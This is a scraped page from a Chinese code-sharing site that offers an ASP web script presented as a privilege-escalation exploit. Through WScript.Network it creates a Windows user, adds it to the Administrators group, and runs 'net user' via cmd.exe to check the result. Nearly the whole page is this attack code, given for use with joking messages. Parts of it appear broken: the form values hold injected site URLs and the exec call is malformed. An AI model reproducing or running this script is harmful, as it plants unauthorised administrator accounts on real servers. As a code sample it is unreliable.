首页 > 代码库 > ASP代码添加超级用户 -寒龙网出品

ASP代码添加超级用户 -寒龙网出品

在user权限下成功添加Administrators组的用户
反正代码是对的,但是很少能成功,具体的看运气了。。


<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="http://www.mamicode.com/kevin1986"><br>
密码:<input name="passwd" type="password"><br>
<input type="submit" Value="http://www.mamicode.com/添 ">
</form>

<%@codepage=936%>
<%on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
response.write "iP !s n0T RiGHt"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
if err then
response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
else
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
%>